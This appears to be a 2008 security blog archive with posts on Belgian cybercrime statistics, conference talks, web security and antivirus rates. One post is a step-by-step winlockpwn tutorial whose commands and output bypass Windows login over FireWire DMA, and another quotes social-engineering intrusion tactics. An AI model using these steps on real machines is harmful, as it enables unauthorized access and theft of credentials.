Monday

Statistics from ecops.be



The Belgian newspaper "Het belang van Limburg" reports on the statistics from www.ecops.be , the website of the Belgian Federal Computer Crime Unit.

This portal has gone online on the 23rd January of 2007 and has been running for over a year now. It's main purpose is an electronic form to report computercrimes and internet fraud.

During it's first year, 12.000 complaints were registrered. The registrered complaints were

  • 50% was spam / unwanted emails (lottery, medicine, watches,...)
  • 20% about electronic transaction per sms (deceiving advertising, forced sales,...)
  • 17% about electronic transactions per internet (deceiving offers, missing delivery, ...)
  • 10% about sales on auction sites (mostly missing deliveries)
Offenders first get a warning. If there are repeated accounts, a settlement is offered. In the worst cases, the dossier goes to court. About this, no statistics are available.

Sunday

Presentations of Blackhat Europe 2008



The media archive for Blackhat Europe 2008 is now online. There were some very interesting talks. Too bad I couldn't make it. Let's give you some titles:

  • Spam-Evolution Aseem "@" Jakhar, Technical Lead, IBM Internet Security Systems
  • Malware on the Net - Behind the Scenes Iftach Ian Amit, Director of Security Research, Finjan
  • Bad Sushi - Beating Phishers at Their Own Game Nitesh Dhanjani, Senior Manager and Leader of Application Security Services, Ernst & Young LLP Billy Rios,Microsoft
  • 0-Day Patch -Exposing Vendors (In)Security Performance Stefan Frei, ETH Zurich, Communications Systems Group Bernard Tellenbach, ETH Zurich, Communications Systems Group
  • Developments in Cisco IOS Forensics Felix "FX" Lindner, Recurity Labs GmbH
  • The Fundamentals of Physical Security Deviant Ollam, The Open Organization of Lockpickers
  • Attacking Anti-Virus Feng Xue (a.k.a Sowhat), Technical Lead, Nevis Labs
I had a quick look through some of these. Attacking Anti-Virus was interesting but not that new (hack.lu). Last week, I was surprised that this vector is begin used in attacks/pentesting. I'm wondering that even with a get-out-of-jail card (permission), this will be legal to perform in Belgium.

0-day Patch is a novel way to determine the security of an operating system. They don't just count the number of holes and how critical they are, but also determine what they call the zero-day patch rate. They used at many independent sources including Secunia, Milw0rm, The Open Source Vulnerability Database (OSVDB), National Vulnerability Database (NVD) and CVE.
The end conclusion is that Apple is having a hard time to keep up with the vulnerabilities and the increased interest in their platform.
During the CanSecWest conference, a fully patched Vista, Linux and Leopard were the targets in a hacking contest. During the first day, no 0-day exploits were allowed. During the second day, the rules were more relaxed and in just a few minutes, the first to fall was the Macbook Air due to a flaw in Safari. On the last day, also the Vista laptop was hacked through a vulnerability in Adobe Flash.
So which one is the most secure? No one is perfect and Operating systems aren’t any more secure than the idiot using it. Use your common sense.

Happy reading!!!

Related articles:
Bonus: You can also view the presentations from Source Boson 2008 on Blip.tv here.

Saturday

Partytricks: a winlockpwn tutorial or how to log into a computer without the password



Kudos to Michael Becher, Maximillian Dornseif and Christian N. Klein for their talk 0wn3d by an iPod at PacSec 2004 and Adam Boileau (aka "Metlstorm") for his presentation on physical attacks with Firewire in 2006 at RUXCON. His memory acquisition tools and python libraries can be found here.

The whole discussion restarted some weeks ago when a coldboot attack was demonstrated and soon after Boileau decided to release his winlockpwn tool. The following is a step-by-step tutorial on how to use his tool. This tutorial is for awareness and demonstration purposes only and is provided "AS IS" without support. If you need help, proceed to the Backtrack forums.

Get the Helix CD v1.9. Some of the tools needed are on this Linux LiveCD, except for winlockpwn which you need to download. You can also do this on any installed linux version that has a firewire support and python. But you need to add a kernel module (libraw1394) and compile some tools like romtool which you can find in the package pythonraw1394-1.0.tar.gz (Python bindings for libraw1394, romtool for CSR-trickery, and the 1394memimage forensics tool).

But let's take the easy road. Leave all firewire cables unplugged and boot from the Helix LiveCD and open a root console.

I had some issues with the tool and this 'partytrick' and discovered from some websites that you need to make sure the sbp2 kernel module doesn't load. So locate "sbp2.ko" and remove or rename it.

Now, proceed to the location containing our tools:

cd /usr/local/pythonraw1394 modprobe raw1394
So, now the firewire raw interface is available as /dev/raw1394. Use the ./businfo command to inspect all the devices that are hooked up on the FireWire bus. At this point you should see your onboard firewire port.
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=1, busid=1023, localid=0, nodeCount=1, name='ohci1394')
Node(number=0, nodeid=0xffc0)
ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0xd11a (Valid)
Bus ID : "1394"
GUID : 0x000d9d719f85019e
Vendor : 0x00000d9d (Hewlett Packard)
So, we see that the hardware gets properly detected. If you are not using our Helix CD, make sure you "chmod 666 /dev/raw1394".
Before we get DMA access, we must spoof our firewire device to look as a storage device.
./romtool -s 0 ipod.csr
Init firwire, port 0
Updated 1024 byte ROM image from ipod.csr
Now businfo should give you some other output like this:
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=1, busid=1023, localid=0, nodeCount=1, name='ohci1394')
Node(number=0, nodeid=0xffc0)
ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0x7286 (Valid)
Bus ID : "1394"
GUID : 0x000a270002aa6ba7
Vendor : 0x00000a27 (Apple Computer, Inc.)
Good! Now you can proceed and connect the cable with your target computer. Running the businfo tool again should show you a new node on your firewire port:
Firewire initialized, with 1 ports available:
Enumerating port & node tree...
Port(number=0, generation=4, busid=1023, localid=0, nodeCount=2, name='ohci1394')
Node(number=0, nodeid=0xffc0)
.....
Node(number=1
, nodeid=0xffc1)

ConfigROM(
Length : 16 bytes
CRC Length : 16 bytes
CRC : 0xbf70 (Invalid (0xb728))
Bus ID : "1394"
GUID : 0xa557565900508b71
Vendor : 0x00a55756 ()
Link Speed : 2 (S400)
Max Record Size : 10 (2048 bytes)
Isochronous Capable : 1 (Yes)
Bus Master Capable : 1 (Yes)
Cycle Master Capable : 1 (Yes)
Cycle Master Clock Accuracy : 0 ppm
Isochronous Resource Manager Capable : 1 (Yes)
Root Directory: 32 bytes, crc: 0x10cb (Invalid (0x0a69))
0 (Immediate Value), 12 (Node Capabilities): 0x83c0
0 (Immediate Value), 28 (Unknown 28): 0x50f2
0 (Immediate Value), 29 (Unknown 29): 0x2
0 (Immediate Value), 30 (Unknown 30): 0x0
0 (Immediate Value), 3 (Module Vendor ID): 0x50f2 (MICROSOFT CORP.)
So make sure you know the Firewire port number and node number. Get the winlockpwn tool and make sure it's in the correct format (dos2unix) and run it.
Winlockpwn v1.5 Metlstorm, 2k6.
Usage: winlockpwn port node target [start-end]
- Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers.
- Target should be one of the numbered targets listed below.
- You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff.
(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)

Available Targets:
1: WinXP SP2 Fast User Switching Unlock
2: WinXP SP2 Unlock
3: WinXP SP2 msv1_0.dll technique
4: WinXP SP2 utilman cmd spawn
What we want is the third option. What it actually does is patch the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in and locking the screen. So let's proceed:
./winlockpwn.txt 0 1 3
It will scan the memory on port 0 node 1 and patch the login .dll (method 3)
Pattern: 0x8BFF558BEC83EC50A1
Offset : [2343]
Patch : 0xB001
Offset : 165
Scanning Options:
Start : 0x8000000
Stop : 0xffffffff
Pagesz : 4096
Init firwire, port 0 node 1
Snarfin' memories...
Checking for signature on page at 0x3097f000 (796156kB) at 43462 kB/s... Found signature at 0x33104927
Setting up teh bomb... Donezor!
Verified evil: 0xb001
You may proceed with your nefarious plans
Elapsed time 16 seconds
Voila !!!! Just try to login with any password. I also tried it on the local administrator account of my laptop and it simply works!!! Firewire = pwned.

Now if you are a forensics investigator, you also can do a memory dump at this point. After the '1394memimage' command give the Firewire Port and Node number and the location where you want to save the image (an external storage device of course).

./1394memimage 0 1 /media/sdd1/memory.bin -1024M
Make sure you don't exceed the total memory amount or the system might crash.

That was it folks. Remember, even if you disable onboard ports in the BIOS, just plugging a PC Card into the laptop is enough to circumvent it. I bought a 4-port 1394 PC Card (brand Hama) at the local mediamarket for 7€ and it didn't need any drivers. Plug & pwn.

BIOS passwords aren't a good idea anyway. On Boileau's site, I saw another tool bioskbsnarf. The tool he used to steal his own BIOS password; python code that parses and prints the bios-real-mode-keyboard-interrupt-buffer . Use with /dev/mem or a memory image acquired via firewire.

Replacing BIOS chips, social engineering the vendor support helpdesk for a recovery procedure etc.. are just ways to circumvent BIOS passwords.

Now how about other operating systems?

After my firewire demo at the security conference, a lot of people came to ask me if this also worked against Linux. So I did some research. The first Firewire DMA-based hack was the 2002 FireStarter attack by Quinn "The Eskimo". Apple modified their drivers to disable device DMA by the time OS X10.3 came out.

At some point, Linux made the same fixes. So they should also be safe (this is unconfirmed on both accounts). Microsoft was informed about this 2 years ago and up until now, nothing was done. Microsoft does not view FireWire DMA as a security problem, since it is part of the IEEE-1394 specification. According to Boileau, this is the reason why Redmond is not considering a fix. By the way, it will also work against Vista.

How about USB devices?

Unless there is a bug in the USB drivers (like a buffer overflow), it's not feasible using the straight USB protocol, however, firewire protocol does include DMA (and that's the problem)

Cardbus cards are effectively PCI cards and can perform arbitrary bus transactions. This can probably be used to bypass OS security.

Well, another thing that comes into mind is autoplay!!! According to Microsoft's 10 Immutable Laws of Security:
Law #1: If a bad guy can persuade you to run his program on your computer, it's not your computer anymore

What is the solution?

Well, there is no silver bullet. Just adding as much as layers of defense as we can/
  1. Disable Autoplay
  2. Use harddisk encryption software WITH a pre-boot password
  3. Disable the Standby feature (considering the cold boot attack) and also hibernate if you don't have a pre-boot password
  4. Disable unused ports in the BIOS , bootable usb devices and password protect it (this can be circumvented but let's annoy the attacker as long as we can)
  5. Glue the firewire port shut (?)
  6. Disable all Firewire ports and PCMCIA slots in the Device Manager (although I read that PCMCIA devices are bus-masters once connected, so there is very little the CPU (commanded by the Operating System) can do to prevent rogue devices that are using these interfaces from accessing arbitrary memory addresses)
  7. Always secure your laptops physically with a cable lock (can also be circumvented)
  8. Shut down your PC if you leave it unattented
  9. Use a data classification system and inform users not to store VERY confidential information on portable systems (though some people will ignore this policy)
  10. If the previous point is not possible, separately encrypt those sensitive files with another tool.
  11. Pray that Microsoft will release an updated driver
  12. Feel free to suggest other methods yourself...
Bottom line: there is no 100% secure solution. Just adding enough layers of protection and hoping that an attacker will give up. Having a second look at Microsoft's 10 Immutable Laws of Security, shows us:
Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore
Against the coldboot attack and the issue of whole harddisk encryption, there are no definite solutions. And more and more tools based on this attack are getting released:

DaisyDukes is a memory sniffer that resides on a USB device. A researcher can plug it into an unattended machine that is turned on but has been locked and reboot the machine off a compact operating system contained on the drive. Depending on the user's needs, it can be configured to capture the entire contents of a computer's memory, or sniff out only certain types of data - say a password to access the company network or unlock a user's private encryption key.

It turns out both Windows and Linux retain "boatloads and boatloads" of passwords in memory, said Sherri Davidoff, a security analyst with IntelGuardians, the penetration-testing firm that developed the tool. It's already been able to isolate passwords for Thunderbird, AOL Instant Messenger, GPG, SSH, Outlook, Putty and TrueCrypt, among others, and with additional research they believe they can find many more.

"The idea here is let's see if we can hit an office building, get in and out in 25 minutes or less and walk out with some interesting passwords," said Tom Liston, an IntelGuardians security consultant who along with Davidoff co-presented the tool at the CanSecWest security conference in Vancouver. (Source: TheRegister)

Previous articles:

Friday

What is enterprise 2.0?




My fellow blogger Karim got inspired by the slideshare about Enterprise 2.0 I posted and made a nice post about it: Welcome to Enterprise 2.0, embrace it!. He provided a nice overview of what enterprise 2.0 entails:

Enterprise 1.0Enterprise 2.O
Hierarchy
Friction
Bureaucracy
Inflexibility
IT-driven technology / Lack of user control
Top down
Centralized
Teams are in one building / one time zone
Silos and boundaries
Need to know
Information systems are structured and dictated
Taxonomies
Overly complex
Closed/ proprietary standards
Scheduled
Long time-to-market cycles
Flat Organization
Ease of Organization Flow
Agility
Flexibility
User-driven technology
Bottom up
Distributed
Teams are global
Fuzzy boundaries, open borders
Transparency
Information systems are emergent
Folksonomies
Simple
Open
On Demand
Short time-to-market cycles

I just happened to stumble upon another blog: "cazh1: on Business, Information, and Technology". He has some experience with enterprise 2.0 and if you are interested in the concept, check these posts out:

Presentations from infosecurity.be 2008 are available (UPDATED)



The other presentations from the seminars on infosecurity.be are available. I noticed a few are missing but I will be updating the links as they are uploaded. Some have a really nice design although several slides seemed a bit crowded to me. The mantra "less is more" should apply here. Here are some articles from presentationzen.com that might clarify what I mean.

So let's give you the links to those presentations. (UPDATE: fixed the links)



Howard Schmidt - The changing face of information security threads


Amanda Jobbins - Changing IT Landscape


Bruno de Vuyst - Software patents


Bruno de Vuyst - Software Patents (PDF)



Marc Vael - Security Convergence


Philip de Wolf - Crisis management within business Continuity


Sebastien Deleersnyder - Webapplication Security


Suzanne Janse - Governance Risk & Compliance


Tom van de Wiele - Anti Forensics


Related posts:

Thursday

Apple, don't be evil



After months of deliberating, I have decided to buy my own laptop. Not just any laptop, but a Macbook Pro.
I never wanted to own a laptop because I'm a poweruser. I need the best performance for the buck and laptops performance wise were always behind compared to desktops. This has changed somewhat in the last years and prices have really dropped. Now that I go to security conferences, I felt the need to get my own laptop. The one from work, although fully encrypted, sometimes contains confidential information. But we have seen that harddisk encryption is not all that. Also, the possibility to deactivate the virusscanner on my company laptop was revoked and this has become a major pain in the b*tt.
Why would I want to to that? Even temporarily. For example, McAfee classified the security tool 'winlockpwn' , a python script, as a virus (which is really stupid). They should have marked it as unwanted programs like most hacker tools. During my last demo, I found this out the hard way. The script was deleted when I inserted my USB stick. So, with my own laptop, I have some more control over it's usage and can install all the tools I want.

There are more reasons like my newfound passion for presentation making , the itch to try out Keynote from Apple and the nice design of the Macbook (hello backlight keyboard). Also watching all those keynote presentatons of Steve Jobs got me a little brainwashed. But....

*sigh* *double sigh*

Why, oh why did they to the following? First, they forced safari as an upgrade (even when not installed) through the Apple Software update service (which everyone with Quicktime or iTunes has).
Then we saw two new vulnerabilities, that Safari windows had including the possibility to inject malicious code. And finally, it seems it's completely unstable and crashed in Windows XP.

All this for software most people didn't want to have? No wonder the Mozilla CEO called it a misuse of trust. It's hard enough for users to keep up to date with patches without misusing update services.

I'm really disappointed in Apple. I almost cancelled my order. Let's hope this was a one time mistake.

UPDATE: It even seems that the Apple EULA doesn't even allow Safari to be installed in windows.

Podcast: Blue Box #77: Skype security vulnerability, German gov't looks at trojans, undersea cable cuts, Microsoft and Yahoo, VoIP security news and m



Goodies, a new Blue box!!!

Welcome to Blue Box: The VoIP Security Podcast #76, a 36-minute podcast from Dan York and Jonathan Zar covering VoIP security news, comments and opinions.

Synopsis: Blue Box #77: Skype security vulnerability, German gov't looks at trojans, undersea cable cuts, Microsoft and Yahoo, VoIP security news and more

Download the show here (MP3, 17MB) or subscribe to the RSS feed to download the show automatically.

Why hacking changed and 90% of sites are still vulnerable



Let start with the Hacker Webzine: "Why hacking changed" and "why hacking change part 2". You really need to read those 2 marvelous pieces. An excerpt:

Today everything is software, even in the form of virtual hardware. The network today is no longer the main landscape for attack. Take the firewall for instance. Without the firewall, hacking was a walk in the park. Anyone with a dial-up modem could hack. Launch a telnet client and you had a very good chance that port 23 was open. Along came the firewall and now we have 99,99% of all ports blocked. Only port 80 and 25 are open if you are secure. So, most of the network is secure and does not pose an issue anymore. While the firewall is here, everyone in security fell asleep. We thought we were secure now right? the firewall and the IDS and other stuff is monitoring it right? Yes, that was the old view of security. That view is dead, and buried with the old school hackers because this isn't how the Internet operates today. What is happening now, is that the whole security of every server depends on the programmer that writes software. Software is the main culprit of almost all hacks today. If you can define hacking today, it no longer means telnetting into servers or blowing whistles, but exploiting the application layer. With the application layer, I also mean the scripting language beneath it, since it interacts with the applications that it's running and share memory, and thereby the hardware it's running on.
So the firewall and IDS is dead? (So might Antivirus but let's not touch that hot potato today). But the whole security of the server depends on the programmer who writes the software? Well, in that case, I have bad news for you!

After years of fighting the hacker wars, today's Websites are still a long way from being secure, according to a new research report. According to a report issued yesterday by WhiteHat Security, nine out of 10 Websites still have at least one vulnerability that attackers could exploit. On average, there are about seven flaws on each site studied. "While the security posture of some industries is better than others, the difference is largely insignificant when it comes to preventing a Website from becoming compromised –- attackers only need to exploit a single vulnerability," the report says. (Source: Darkreading)

So how to fix this? Here is an interesting article from techtarget.com: The essentials of Web application threat modeling. The highlights:

  1. Determine your security goals

  2. Document the general architecture of your application

  3. Outline what really needs to be protected

  4. Pinpoint the various entry points and "trust" zones

  5. Discover what can be exploited using a malicious mindset -- from both the perspective of an untrusted outsider and a trusted user.

    You'll never find or think of everything no matter how analytical your team is or how good your tools are. That's OK. Just go for the basics now. It doesn't take long to realise that the majority of Web application vulnerabilities are related to input validation, system configuration problems, and insiders abusing privileges they probably shouldn't have, including the following:

    • Cross-site scripting in search forms or message boards
    • SSL not being used or enforced throughout the application
    • Weak password requirements
    • Lack of account lockout after so many failed login attempts
    • Informative authentication errors being returned to the user, resulting in username and password harvesting
    • Weak mutual-factor authentication processes implemented per the Federal Financial Institutions Examination Council (FFIEC) requirements
    • Session keys and cookies not expiring or being easily manipulated
    • URL and/or form-field manipulation to bypass authentication or escalate privileges
    • Sensitive information returned in server errors that can give an attacker a leg up on penetrating the system

    Also, you may want to check out Microsoft's threat model called STRIDE that highlights the important areas of most applications:

    Spoofing identity
    Tampering with data
    Repudiation
    Information disclosure
    Denial of service
    Elevation of privilege

  6. Determine what's urgent and important

  7. Determine what can be done about each weakness

Read the full article for all the details. Also check out the OWASP Top 10 2007.

The OWASP Top Ten provides a powerful awareness document for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. There are currently versions in English, French, Japanese, Korean and Turkish. A Spanish version is in the works. We urge all companies to adopt this awareness document within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code.

Wednesday

Advice for home users



Yesterday, a teacher contacted me about my presention at the security conference because she wanted to use it in her class (or at least parts of it). Since a lot of the content is focussed on corporations, I found it somewhat unsuitable without a major remake. Although the part about drive-by downloads in the presentation is relevant for home users. So after some brainstorming, I decided to give some relevant links.

First of all, the SANS Cyber Security Awareness Month is a wealth of information on several topics. Also "Patching, Damned if you do, Damned if you don't" provides several tools to help you update your entire PC (not just windows update).

Then, I found a very userfriendly designed guidelines from McAfee (note that I'm not sponsored by them). But the documents on their site looks really nice and could be useful. Let's start with the 10 step internet safety plan for your family (pdf).

There are several more documents over at the McAfee Security Advice Center.

UPDATE: Here is another resource: http://www.staysafeonline.org/ (Thank you Andy for the link)
And thanks to Brian for the following link: http://www.webwise.ie/

New version of Nessus and Nmap


Nmap 4.60 has been released. The changelog has more than 60 important changes since 4.50. This includes a new and shorter URL (nmap.org rather than insecure.org/nmap/), massive OS detection and version detection signature updates, many new Nmap Scripting Engine scripts, bug fixes, performance optimization, and more. It is available now from the download page.


And not only nmap got an update, a few weeks ago also Nessus got an upgrade.

Tenable Security released the new version 3.2.0 of their Nessus vulnerability scanner about two weeks ago, and it's one tool no security pro should be without.

If you’re not familiar with Nessus by now, you’re either brand new to IT security or you’ve been living under a rock. I’d be willing to bet that three out of five security pros have used some form of Nessus, whether it was the freely downloadable version from Tenable or some version embedded in a security product. Heck, you may have even received an audit from a consulting firm that listed all your vulnerabilities in a ridiculously long report -- the simple output from a Nessus scan.

Nessus is a great, free, and very powerful tool for vulnerability scanning. It includes vulnerability and information plug-ins for thousands of services and operating systems, so initial usage can be a bit daunting for new users. And you should definitely test it in the lab -- some checks can have an adverse effect on network devices such as printers and power distribution units. I’ve seen printers and servers both go offline because the power distribution unit rebooted itself during a Nessus probe. (Source: Darkreading)

BONUS: httprecon is a tool for advanced web server fingerprinting.

The httprecon project is doing some research in the field of web server fingerprinting, also known as http fingerprinting. The goal is the highly accurate identification of given httpd implementations. This is very important within professional vulnerability analysis.

Besides the discussion of different approaches and the documentation of gathered results also an implementation for automated analysis is provided. This software shall improve the easiness and efficiency of this kind of enumeration. Traditional approaches as like banner-grabbing, status code enumeration and header ordering analysis are used. However, many other analysis techniques were introduced to increase the possibilities of accurate web server fingerprinting.

2 new members in the Belgian Security Blognetwork



I'm happy to announce two members to the Belgian Security Blognetwork (RSS feed): "Digital Forensics and more" and "/dev/random". Respectively, thank you An and Xavier to join us in the feed. I'm convinced you'll contribute interesting material.

"Digital Forensics and more" lists some interesting books and has a Google calendar with an overview on security events.

"/dev/random" keeps track of interesting *unix and belgian related security topics. He provides some good practical tips.

Thank you guys (and girls) and keep up the good work!!! Subscribe to our RSS feed.

Welcome to security 2.0

Everything is increasing -- bis



In "Everything is increasing", I gave some statistics on Antivirus detection rates. I just wanted to add this one from http://winnow.oitc.com/malewarestats.php. Read the previous article before you look at it.

When a piece of Malware is detected by the Malware Incident Reporting & Termination (MIRT) team, it is uploaded to VirusTotal for analysis. The performance of each antivirus engine is monitored by CastleCops. Once an hour, the system checks for updates. If there are some, the information on the performance of the 36 antivirus engines on all the detected malware is accumulated and statistics are updated for display by OITC.

The statistics provided here are an indication of the ability of the AntiVirus system's ability to deal with near 0-day infections. The performance by each antivirus system on early detections do not reflect the overall performance of an antivirus system. Consult with your IT department or computer security specialist for a more detailed analysis.

These performance statistics have been accumulated since Saturday, 2 December 2006, e.g. for the last 480 days. The most recent malware was detected and processed as of Tue Mar 25 18:27:07 2008 EDT.

AntiVirus Engine

Detection Rate

AVG

26%

AhnLab-V3

7%

AntiVir

66%

Authentium

15%

Avast

20%

BitDefender

50%

CAT-QuickHeal

31%

ClamAV

16%

DrWeb

29%

Ewido

28%

F-Prot

15%

F-Prot4

18%

F-Secure

43%

FileAdvisor

9%

Fortinet

56%

Ikarus

53%

Kaspersky

46%

McAfee

24%

Microsoft

20%

NOD32v2

37%

Norman

25%

Panda

53%

Prevx1

23%

Sophos

29%

Sunbelt

38%

Symantec

25%

TheHacker

9%

UNA

10%

VBA32

33%

VirusBuster

19%

Webwasher-Gateway

80%

eSafe

50%

eTrust-InoculateIT

5%

eTrust-Vet

14%



Bear in mind, this is just one test, one statistic. Don't make any rash conclusions. on it. Anti-virus software is no substitute for common sense. AV software will not save you from infecting your PC if you ignore best practice: Do not click on links or open attachments that arrive unexpectedly in e-mail or instant message.

Tuesday

Don't make life difficult



Being a good storyteller can help you give a good presentation. Don't make life difficult: No Tech Hacking. I really enjoyed this video from Defcon. Give a show and use images, not bullet points !!! His book just jumped several places on my wishlist!! ;-)



If you made it through the entire presentation, let's give you some more low-tech tactics. Everyone knows the smoker backdoor tactic? Go for a job interview. Tailgating. Once inside, plant a rogue access points

Once inside, hardly anyone asks you what you are doing there. Not to mention that people are not used to question your authority if you politely explain to them that you are performing a security penetration test which aims to break into their networks. The truth is that humans can detect suspicious activities by following your body language. The more you lie the the more negative messages you are sending to the people around you and of course the higher is the chance to get caught. So, being honest is actually a plus rather then a minus.

Even having access to a conference area is quite easy as you can arrange supposedly important meeting with someone from inside. Usually you find the network jacks underneath the table where you can connect whatever needs to be connected.

...

When we were once asked to break into some organizations, which names we cannot disclose, we went exactly the opposite way of the expected. We researched the company and found all other companies they work with. Then we went onsite and discovered that some of these companies run open wifi networks for guests. It did not take us long to obtain access to sensitive mail, through leaked POP3 credentials which also got us a VPN access and other goodies.

(Source: The state of Wifi security -- Gnucitizen

Sweet. Well staying in the realms of Wifi (well sort of), let's look at Evil twins.
Just like in WiFi security, Evil Twin attacks are all about impersonating someone or something. The reason why this scenario was mentioned was because we did had a go once with it (tiger teams do all sort of cool and useful things). Then we found out that Paul and Larry also tried Evil Twin attacks against Twitchy and they all proved to be more then successful as we’ve promised in our blog post.

But is that all? Just Evil Twin attacks? Well NO! Definitely not! We are just at the beginning of a whole new brave world. For example, when I approach social networks I try to look at them from Information Architecture point of view. I try to see the hidden connections between things and people and make my own conclusions depending on the my goals. And the tools are quite different and I will definitely recommend a few and even release some of my own which were built to server different purposes. (Source: Social networks, Evil twins and puppet masters -- Gnucitizen)
Read the entire post for some interesting information. Remember, don't make life difficult, think low or no tech hacking.